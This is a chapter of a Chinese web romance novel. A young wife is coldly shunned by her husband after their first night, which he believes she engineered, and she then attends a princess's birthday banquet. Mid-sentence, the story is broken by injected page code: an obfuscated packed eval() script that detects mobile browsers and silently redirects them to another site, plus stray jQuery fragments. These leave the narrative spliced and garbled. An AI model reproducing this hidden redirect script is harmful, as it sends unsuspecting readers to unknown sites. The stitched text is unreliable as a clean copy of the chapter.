21.冷落

作品:《误慕高枝

    姜芾神思断了一瞬,手中的碗微微摇晃,甚至晃出了些许热汤。


    他们昨晚才肌肤相贴,做了最亲密的事。


    她本以为,他主动打破那层隔阂,今晨醒来,他们会同寻常夫妻那般如胶似漆。


    可他话语冷冽,毫无体贴之态,甚至再一次提出分房。


    这究竟是为何?


    凌晏池无视她的错愕。


    他自己的身体他比任何人都清楚。


    香是她制的,酒菜是她做的,她殷勤给她斟酒,奉上一箩筐好话,原来,目的竟是这个。


    他因为信任她,对她毫无防备,才着了她的算计,最终也如她所愿。


    他本以为,她虽言行无状,才疏学浅,可胜在性子天真良善,同那些人不一样。


    他竟还试着慢慢接受她,觉得她虽万般与自己合不来,但好在人品贵重,若加以教习,是能做得好世家妇的。


    可到头来,她也学得一手好心计。


    她若真心实意在乎他,便不会用那种下作手段,如此急于求成,是为了早日拿到定国公府大少夫人的地位和富贵吗?


    姜芾软下神色,攀上他的臂膀,小心翼翼:“夫君,是我哪里做错了吗?或者,你是哪里不舒服吗?”


    凌晏池眸色冷淡,甩开她的手。


    她自己做的事,竟还能这般大言不惭地来问他。


    日光洒满庭院,穿堂风从后窗进入,又从前门溜走,绮霞院的下人都开始当差了。


    他抿唇不语,不捅破这桩事闹得人尽皆知已是给足她脸面了。


    他随手拿了件湖蓝色圆领锦袍套上,转身便走。


    “夫君,夫君……”


    姜芾伸手去抓,他的衣带从指缝溜走,像一阵无影的风。她望着他的背影,忽然泪水模糊了视线。


    为什么?为什么要对她若即若离、忽冷忽热。


    她到底做错了什么?


    分明昨夜叫她留下的是他。


    她天真的以为能与他来日方长,可她用尽所有的力气都窥不透他的心,哪怕是一点点。


    他们真的能越来越好吗?


    昨夜少夫人宿在西厢房,房中叫了两次水,此事一大早便在绮霞院传开了。


    是以姜芾去厨房熬醒酒汤时,无人不对她恭恭敬敬,将她当成真正的少夫人。


    可大爷面露愠色,拂袖离去,少夫人苦苦挽留无果也被众人看在眼里。下人们又都以为是少夫人不懂规矩,圆房之后又惹怒了大爷。


    姜芾将昨夜到今晨的一幕幕在心底回放了千千万万遍,也不知夫君为何生这么大的气。


    她哭到晌午,两只眼睛肿得像桃。


    早午膳未用,妆发也未梳,就这般怔怔独坐,一头扎进去想。


    别说苹儿,便是荑兰也疑惑不解,替她着急:“少夫人,您再仔细想想,您可有对大爷提过什么不合时宜之事?若是有,趁早去道个歉,您与大爷昨夜刚圆房,情分还是在的,您就服个软,大爷会原谅您的。”


    “我没有,我什么都没说。”姜芾摇头哽咽。


    她初经人事,哪怕起初略感不适,她也不敢妄动,就那般躺着,由他引导。床笫间,她处处顺应他,他说什么她便是什么。


    苹儿赶了荑兰出去,忙宽慰道:“那想必是大爷衙门事杂,难免心烦意乱,一时无暇儿女情长,或许等晚上回来就又好了呢?”


    姜芾蓦地想到他从前也有忙于事务整晚不归家的日子。


    她渐渐松开拳心。


    等晚上回来真的会好吗?


    “大爷既肯同您圆房,二人之间想必是无甚大事的。”苹儿替她绾发,悄悄凑近她,“万一这一回,您就有孕了呢,若是有了孩子,一切都不一样了。”


    姜芾神色微动。


    她怀了几分憧憬搭上自己的脉搏。她也希望能有孕,有了孩子,夫君定然会念着孩子对她好的。


    可搭上脉搏片刻,她眼底黯然失色。


    还是老样子。


    她干惯了重活,空有一身力气,可家中微寒,自小没吃过什么好的,更别说贵重的滋补之物,自然身子也比旁人差些。


    那年,腊月的湖水砭人肌骨。


    她就那样跳下去救他。


    湖水浸透了身子,从此她患上了宫寒之症,月信常常淅沥不止,她替自己开药方调理了几年。月信是正常了,可宫寒症状仍未好转。


    按理来说是可以调养好的,可也不知为何,喝了药也不见起色,要有孩子,恐怕是难上加难。


    更何况,他们只同过一回房,就算是身体健硕的正常夫妻,有孕的概率也微乎其微。


    她捂着小腹,含泪写下了几张药方,吩咐苹儿悄悄去给她抓药。


    她希望能早日好起来,可以为他生儿育女。


    这日晚上,凌晏池没回来。


    姜芾守着几盘冷菜,等到三更。


    早上见苹儿端了药来,眼底才恢复一丝神采。


    她要早点好起来。


    她垫了几口冷点心,端起药一饮而尽。


    “少夫人,可要出去逛逛,或者去东府转转?”


    姜芾摇头,轻微哼哼两声,表示不想去。


    又捱到日暮时分,凌晏池终于回来了。


    她收起脸上的郁闷之色,掳起裙摆跑出去迎他,清亮唤了声夫君。


    凌晏池并未搭理,避开她朝书房而去。


    她鼻尖酸涩。


    再一次因为他的冷淡,泪珠默默垂洒。


    果然,不会好的。


    她甚至都不敢去问,到底是因为什么。


    她在他面前,仿佛习惯了永远谦卑、温顺、低敛,她实在不敢去问他。


    她真的好想前夜都是一个梦,她不要和他圆房了,她宁愿他们就像从前那样,至少他还能与她说说话。


    她在书房门口徘徊,遇上来送衣裳的沉速。


    沉速将衣裳给了她,压低声:“少夫人,你去吧。”


    姜芾摸着他的衣裳,嗅到一丝他身上清淡的气息,她犹豫一阵,鼓足勇气叩开了门。


    “夫君,添衣了。”


    凌晏池研着磨,浅浅抬了抬眼皮:“衣裳放下,你出去吧,往后这种事还是让沉速来就行。”


    姜芾指尖倏然冰冷,放下衣裳,又从他这里兜了满心酸楚回去。


    她跑回自己房中,双眼下的肌肤泛起刺痛。


    一夜未眠。


    她起了个大早给他做了碗汤面,委托沉速替她端进去。她可以不说是她做的,只要他能吃,她便很高兴了。


    沉速又原封不动地端出来,摇头道:“大爷许是猜到是您做的,一口未动,还吩咐我端出来。”


    一连几日,二人都不曾说过一句话。


    姜芾第一次这般懈怠,字也没心思写了。


    她与凌晏池,真的还有以后吗?


    这院子虽大,吃穿不愁,她却过得一点也不开心。不能大声说话,大步走路,吃东西都不能吃太多。


    齐大非偶,他们许是不般配的吧。


    她愚昧无知,心思也浅,连他为什么生气都不知道。她到底要怎么做,她到底还能做什么?


    数日消沉,终于在这日,等来了齐王府的邀请帖,帖子是以五日后明仪郡主生辰宴为由发的。


    她不想去。


    郡主的生辰,凌晏池定会去的。


    她不想看到夫君和她在一起,一点也不想。


    可既收到了帖子,她若不去,夫君定会责怪她不懂规矩。


    五日后的清晨。


    她想到今日许能和夫君同乘一车去赴宴,强提几分神色,梳好妆发,换了一身浅紫色衣裙。


    就在她一如往常掀开帘子上马车时,马车内却空无一人。


    一旁


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588400|170671||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的书缘道:“少夫人,长安县有案子,世子匆忙上衙去了,吩咐我送您去齐王府。”


    他顿了顿,摸了摸鼻子:“世子还让我告知您,到了齐王府,说什么做什么要记着自己的身份。”


    姜芾默了默,点头应下。


    规矩与礼仪她如今的确尚未面面俱到,夫君提点她也情有可原,毕竟他从前也是这般对她说的。


    可他竟爽了与明仪郡主的约,她暗暗思忖,明仪郡主在他心里是否也没那般重要呢?


    想着此事,她确实整个人都有劲了不少。


    生辰宴不似上回的皇家宴,这回是可以带贴身侍婢的,她本想着只带苹儿一人,可荑兰非在她跟前磨,嚷着要来。


    她无法,只能带上她。


    齐王府清贵奢华,人来人往,从前院走到后院需得绕几个弯。


    上回她救了昌安王妃的幼子,长安城已传的人尽皆知,故而对她改观之人也不少,竟有人主动同她颔首问安了。


    她嘴角常挂淡笑,一一欠身回礼,端庄大方,令人挑不出错处来。


    众人皆暗道:这姜家女也不似传闻那般粗鄙蛮横。


    荑兰左看右看,甚是新奇,侧身时,见假山后头有位府上的嬷嬷在朝她招手,她悄声过去了。


    “荑兰呢?”


    姜芾察觉到她不在身侧。


    苹儿环顾四周:“方才还在后头呢。”


    齐王府太大了,宾客又众多,姜芾难免忧心:“你去找找她吧,我怕她迷路了,把她带过来,叫她不要乱跑。”


    “那您怎么办?”


    姜芾道:“我跟着这些娘子们一同去后院,不会有事的,你找到她就过来。”


    开了席,苹儿才揪着荑兰悄悄站回姜芾身后。


    “你去哪了?”姜芾问。


    荑兰不知怎的,看到姜芾竟有些不自在,匆匆移开目光:“少夫人,奴婢突然内急,让府上的丫头领着我去如厕了。”


    姜芾交代她:“这里太大了,你别乱跑。”


    “奴婢知晓了。”荑兰绞着手指,头低得更低了。


    生辰宴开始,明仪郡主盛装出席,艳压群芳,美得当真令人移不开眼。今日有诗会,姜芾怕她会为难自己,提心吊胆抿了口饮子。


    可到最后,明仪郡主似乎也未注意到她,只与席上旁的贵女玩起了飞花令。


    姜芾松了一口气,她满腹心事,吃着这些山珍海味,味同嚼蜡。


    终于捱到日落,众人陆续离席,料料峭峭的晚风一吹,女郎们也各自钻回了自家马车。


    回了绮霞院,姜芾慌忙整理这几日写的字。


    夫君从前说每隔一日来查她的背诵,不必说,这几日定是断了的。


    可更早之前说的半个月查一次她的字,不知还作不作数,今日距上回刚好又到半月了。


    她明白,今晚是唯一能与他说话的机会。


    待他回来,她热切地盯着书房窗前那道挺直的身影,攥着十几张纸,再度叩开了房门。


    “夫君能否帮我看看。”她站在角落的阴影里,轻声细语。


    凌晏池破天荒让她进来。


    他接过纸一张一张看,看到最后,淡淡道:“尚可,我给你圈几个字,你回去再写写。”


    这么多日,他气也消了。


    而她既做了这事,也无需他挑明令双方都难堪,冷落她这么些时日,她也该反省好了。


    况且自从那次之后,她也未做出什么逾矩之事。


    他转念一想,夫妻敦伦本是义务,是他娶了她又数月不曾圆房,加之她并未受过什么高门教导,难改一身陋习,这才病急乱投医。


    但是,那种手段本就上不得台面。


    他决不允许再发生第二次。


    “君子敬以直内,义以方外。”他看向她,一字一顿,“心正乃做人立身之本,你可知道了?”